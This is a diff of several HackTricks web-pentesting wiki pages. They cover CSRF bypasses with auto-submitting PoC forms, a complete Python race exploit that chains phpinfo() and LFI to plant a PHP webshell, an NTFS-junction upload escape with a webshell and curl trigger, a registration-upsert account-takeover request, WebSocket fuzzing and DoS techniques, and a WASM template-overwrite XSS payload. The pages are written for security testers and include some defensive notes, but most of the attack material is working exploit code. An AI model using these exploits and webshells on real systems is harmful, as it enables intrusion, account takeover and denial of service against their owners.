POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=guest&role=admin&csrf=
```
Minimal auto-submitting PoC (hiding navigation with history.pushState):
```html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
```
### CSRF token is not tied to the user session
Applications **not tying CSRF tokens to user sessions** present a significant **security risk**. These systems verify tokens against a **global pool** rather than ensuring each token is bound to the initiating session.
@ -89,13 +122,33 @@ This vulnerability allows attackers to make unauthorized requests on behalf of t
### Method bypass
If the request is using a "**weird**" **method**, check if the **method** **override functionality** is working. For example, if it's **using a PUT** method you can try to **use a POST** method and **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
If the request is using a "**weird**" **method**, check if the **method override** functionality is working. For example, if it's using a **PUT/DELETE/PATCH** method you can try to use a **POST** and send an override, e.g. `https://example.com/my/dear/api/val/num?_method=PUT`.
This could also works sending the **\_method parameter inside the a POST request** or using the **headers**:
This can also work by sending the **`_method` parameter inside a POST body** or using override **headers**:
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
- `X-HTTP-Method`
- `X-HTTP-Method-Override`
- `X-Method-Override`
Common in frameworks like **Laravel**, **Symfony**, **Express**, and others. Developers sometimes skip CSRF on non-POST verbs assuming browsers cant issue them; with overrides, you can still reach those handlers via POST.
Example request and HTML PoC:
```http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
```
```html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
```
### Custom header token bypass
@ -234,6 +287,46 @@ Therefore, if a GET request is being limited, you could just **send a HEAD reque
## **Exploit Examples**
### Stored CSRF via user-generated HTML
When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their cookies.
- If the app uses a global CSRF token that is not bound to the user session, the same token may work for all users, making stored CSRF reliable across victims.
Minimal example that changes the viewers email when loaded:
```html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
```
### Login CSRF chained with stored XSS
Login CSRF alone may be low impact, but chaining it with an authenticated stored XSS becomes powerful: force the victim to authenticate into an attacker-controlled account; once in that context, a stored XSS in an authenticated page executes and can steal tokens, hijack the session, or escalate privileges.
- Ensure the login endpoint is CSRF-able (no per-session token or origin check) and no user interaction gates block it.
- After forced login, auto-navigate to a page containing the attackers stored XSS payload.
Minimal login-CSRF PoC:
```html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
```
### **Exfiltrating CSRF Token**
If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability.
@ -707,6 +800,7 @@ with open(PASS_LIST, "r") as f:
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
- [Burp Suite Professional Generate CSRF PoCs](https://portswigger.net/burp)
## References
@ -715,5 +809,11 @@ with open(PASS_LIST, "r") as f:
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,60 +2,163 @@
{{#include ../../banners/hacktricks-training.md}}
To exploit this vulnerability you need: **A LFI vulnerability, a page where phpinfo() is displayed, "file_uploads = on" and the server has to be able to write in the "/tmp" directory.**
To exploit this technique you need all of the following:
- A reachable page that prints phpinfo() output.
- A Local File Inclusion (LFI) primitive you control (e.g., include/require on user input).
- PHP file uploads enabled (file_uploads = On). Any PHP script will accept RFC1867 multipart uploads and create a temporary file for each uploaded part.
- The PHP worker must be able to write to the configured upload_tmp_dir (or default system temp directory) and your LFI must be able to include that path.
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
Classic write-up and original PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
You need to fix the exploit (change **=>** for **=>**). To do so you can do:
Notes about the original PoC
- The phpinfo() output is HTML-encoded, so the "=>" arrow often appears as "=&gt;". If you reuse legacy scripts, ensure they search for both encodings when parsing the _FILES[tmp_name] value.
- You must adapt the payload (your PHP code), REQ1 (the request to the phpinfo() endpoint including padding), and LFIREQ (the request to your LFI sink). Some targets dont need a null-byte (%00) terminator and modern PHP versions wont honor it. Adjust the LFIREQ accordingly to the vulnerable sink.
Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =&gt;/g' phpinfolfi.py
```
You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char)
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### Theory
## Theory
If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
- When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES['<field>']['tmp_name']. The file is automatically removed at the end of the request unless moved/renamed.
- The trick is to learn the temporary name and include it via your LFI before PHP cleans it up. phpinfo() prints $_FILES, including tmp_name.
- By inflating request headers/parameters (padding) you can cause early chunks of phpinfo() output to be flushed to the client before the request finishes, so you can read tmp_name while the temp file still exists and then immediately hit the LFI with that path.
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
In Windows the temp files are commonly under something like C:\\Windows\\Temp\\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
In **Windows** the files are usually stored in **C:\Windows\temp\php**
## Attack workflow (step by step)
In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig()**".
**phpinfo()**
**PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** (using big headers) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo() to be returned** (where the name of the temporary file is) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability.
**Python script to try to bruteforce the name (if length = 6)**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
1) Prepare a tiny PHP payload that persists a shell quickly to avoid losing the race (writing a file is generally faster than waiting for a reverse shell):
```
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
```
2) Send a large multipart POST directly to the phpinfo() page so it creates a temp file that contains your payload. Inflate various headers/cookies/params with ~510KB of padding to encourage early output. Make sure the form field name matches what youll parse in $_FILES.
3) While the phpinfo() response is still streaming, parse the partial body to extract $_FILES['<field>']['tmp_name'] (HTML-encoded). As soon as you have the full absolute path (e.g., /tmp/php3Fz9aB), fire your LFI to include that path. If the include() executes the temp file before it is deleted, your payload runs and drops /tmp/.p.php.
4) Use the dropped file: GET /vuln.php?include=/tmp/.p.php&x=id (or wherever your LFI lets you include it) to execute commands reliably.
> Tips
> - Use multiple concurrent workers to increase your chances of winning the race.
> - Padding placement that commonly helps: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Tune per target.
> - If the vulnerable sink appends an extension (e.g., .php), you dont need a null byte; include() will execute PHP regardless of the temp file extension.
## Minimal Python 3 PoC (socket-based)
The snippet below focuses on the critical parts and is easier to adapt than the legacy Python2 script. Customize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
```python
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
```
## Troubleshooting
- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
- Output doesnt flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers wont flush until larger thresholds; adjust accordingly.
- LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector.
- Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.
## Defensive notes
- Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
- Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
- Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist.
## Related HackTricks techniques
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
## References
- LFI With PHPInfo() Assistance whitepaper (2011) Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
{{#include ../../banners/hacktricks-training.md}}

View File

@ -241,6 +241,33 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
### Escaping upload directory via NTFS junctions (Windows)
(For this attack you will need local access to the Windows machine) When uploads are stored under per-user subfolders on Windows (e.g., C:\Windows\Tasks\Uploads\<id>\) and you control creation/deletion of that subfolder, you can replace it with a directory junction pointing to a sensitive location (e.g., the webroot). Subsequent uploads will be written into the target path, enabling code execution if the target interprets serverside code.
Example flow to redirect uploads into XAMPP webroot:
```cmd
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
```
Notes
- mklink /J creates an NTFS directory junction (reparse point). The web servers account must follow the junction and have write permission in the destination.
- This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
- Defenses: dont allow writable upload roots to be attackercontrollable under C:\Windows\Tasks or similar; block junction creation; validate extensions serverside; store uploads on a separate volume or with denyexecute ACLs.
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
@ -426,5 +453,7 @@ How to avoid file type detections by uploading a valid JSON file even if not all
- [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
- [0xdf HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
- [Microsoft mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -382,7 +382,8 @@ Once you have **obtained a valid RT** you could try to **abuse it to generate se
## **RC in WebSockets**
In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
- With Burps WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing serverside state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
## References
@ -392,6 +393,9 @@ In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
{{#include ../banners/hacktricks-training.md}}

View File

@ -178,8 +178,33 @@ JSON Web Token might be used to authenticate an user.
hacking-jwt-json-web-tokens.md
{{#endref}}
## Registration-as-Reset (Upsert on Existing Email)
Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim's email will overwrite their password pre-auth.
- Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
- Method hints: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
- Minimal body observed in the wild:
```json
{"email":"victim@example.com","password":"New@12345"}
```
Example PoC:
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
Impact: Full Account Takeover (ATO) without any reset token, OTP, or email verification.
## References
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}}

View File

@ -287,10 +287,25 @@ Mitigations:
- Never expose skipOldPwdCheck paths to unauthenticated users; enforce authentication for regular password changes and verify the old password.
- Invalidate all active sessions and reset tokens after a password change.
## Registration-as-Password-Reset (Upsert on Existing Email)
Some applications implement the signup handler as an upsert. If the email already exists, the handler silently updates the user record instead of rejecting the request. When the registration endpoint accepts a minimal JSON body with an existing email and a new password, it effectively becomes a pre-auth password reset without any ownership verification allowing full account takeover.
Pre-auth ATO PoC (overwriting an existing user's password):
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
## References
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
{{#include ../banners/hacktricks-training.md}}

View File

@ -99,6 +99,135 @@ In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur
The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) now allows to fuzz also WebSocket messages. You can read more infromation abou this [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
### WebSocket Turbo Intruder (Burp extension)
PortSwigger's WebSocket Turbo Intruder brings Turbo Intruderstyle Python scripting and highrate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components:
- Turbo Intruder: highvolume messaging to a single WS endpoint using custom engines.
- HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTPbased scanner can probe WS backends.
Basic script pattern to fuzz a WS endpoint and filter relevant responses:
```python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Use decorators like `@MatchRegex(...)` to reduce noise when a single message triggers multiple responses.
### Bridge WS behind HTTP (HTTP Middleware)
Wrap a persistent WS connection and forward HTTP bodies as WS messages for automated testing with HTTP scanners:
```python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Then send HTTP locally; the body is forwarded as the WS message:
```http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
```
This lets you drive WS backends while filtering for “interesting” events (e.g., SQLi errors, auth bypass, command injection behavior).
### Socket.IO handling (handshake, heartbeats, events)
Socket.IO adds its own framing on top of WS. Detect it via the mandatory query parameter `EIO` (e.g., `EIO=4`). Keep the session alive with Ping (`2`) and Pong (`3`) and start the conversation with `"40"`, then emit events like `42["message","hello"]`.
Intruder example:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
HTTP adapter variant:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
### Detecting serverside prototype pollution via Socket.IO
Following PortSwiggers safe detection technique, try polluting Express internals by sending a payload like:
```json
{"__proto__":{"initialPacket":"Polluted"}}
```
If greetings or behavior change (e.g., echo includes "Polluted"), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section. See:
- Check [NodeJS __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
### WebSocket race conditions with Turbo Intruder
The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (doublespend, token reuse, state desync). Start from the example script and tune concurrency in `config()`.
- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”).
### WebSocket DoS: malformed frame “Ping of Death”
Craft WS frames whose header declares a huge payload length but send no body. Some WS servers trust the length and preallocate buffers; setting it near `Integer.MAX_VALUE` can cause OutOfMemory and a remote unauth DoS. See the example script.
### CLI and debugging
- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
- Enable the WS Logger to capture and correlate messages using internal IDs.
- Use `inc*`/`dec*` helpers on `Connection` to tweak message ID handling in complex adapters.
- Decorators like `@PingPong`/`@Pong` and helpers like `isInteresting()` reduce noise and keep sessions alive.
### Operational safety
Highrate WS fuzzing can open many connections and send thousands of messages per second. Malformed frames and high rates may cause real DoS. Use only where permitted.
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, is identified as a specific case of **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via **HTTP cookies** without **CSRF tokens** or similar security measures.
@ -204,7 +333,13 @@ h2c-smuggling.md
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocket Turbo Intruder BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
- [Server-side prototype pollution safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
{{#include ../banners/hacktricks-training.md}}

View File

@ -894,6 +894,17 @@ You could make the **administrator trigger your self XSS** and steal his cookies
## Other Bypasses
### Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single inWASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "<article><p>%.*s</p></article>" to "<img src=1 onerror=%.*s>" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
{{#ref}}
wasm-linear-memory-template-overwrite-xss.md
{{#endref}}
### Normalised Unicode
You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).

View File

@ -0,0 +1,136 @@
# WebAssembly linear memory corruption to DOM XSS (template overwrite)
{{#include ../../banners/hacktricks-training.md}}
This technique shows how a memory-corruption bug inside a WebAssembly (WASM) module compiled with Emscripten can be weaponized into a reliable DOM XSS even when input is sanitized. The pivot is to corrupt writable constants in WASM linear memory (e.g., HTML format templates) instead of attacking the sanitized source string.
Key idea: In the WebAssembly model, code lives in non-writable executable pages, but the modules data (heap/stack/globals/"constants") live in a single flat linear memory (pages of 64KB) that is writable by the module. If buggy C/C++ code writes out-of-bounds, you can overwrite adjacent objects and even constant strings embedded in linear memory. When such a constant is later used to build HTML for insertion via a DOM sink, you can turn sanitized input into executable JavaScript.
Threat model and preconditions
- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
- Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers).
- Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory.
- There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy).
Minimal vulnerable data model (example)
```c
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
```
Vulnerable logic pattern
- addMsg(): allocates a new buffer sized to the sanitized input and appends a msg to s.mess, doubling capacity with realloc when needed.
- editMsg(): re-sanitizes and memcpys the new bytes into the existing buffer without ensuring the new length ≤ old allocation → intralinearmemory heap overflow.
- populateMsgHTML(): formats sanitized text with a baked stub like "<article><p>%.*s</p></article>" residing in linear memory. The returned HTML lands in a DOM sink (e.g., innerHTML).
Allocator grooming with realloc()
```c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
```
- Send enough messages to exceed the initial capacity. After growth, realloc() often places s->mess immediately after the last user buffer in linear memory.
- Overflow the last message via editMsg() to clobber fields inside s->mess (e.g., overwrite msg_data pointers) → arbitrary pointer rewrite within linear memory for data later rendered.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Sanitization protects input, not sinks. Find the format stub used by populateMsgHTML(), e.g.:
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
- Locate the stub deterministically by scanning linear memory; it is a plain byte string within Module.HEAPU8.
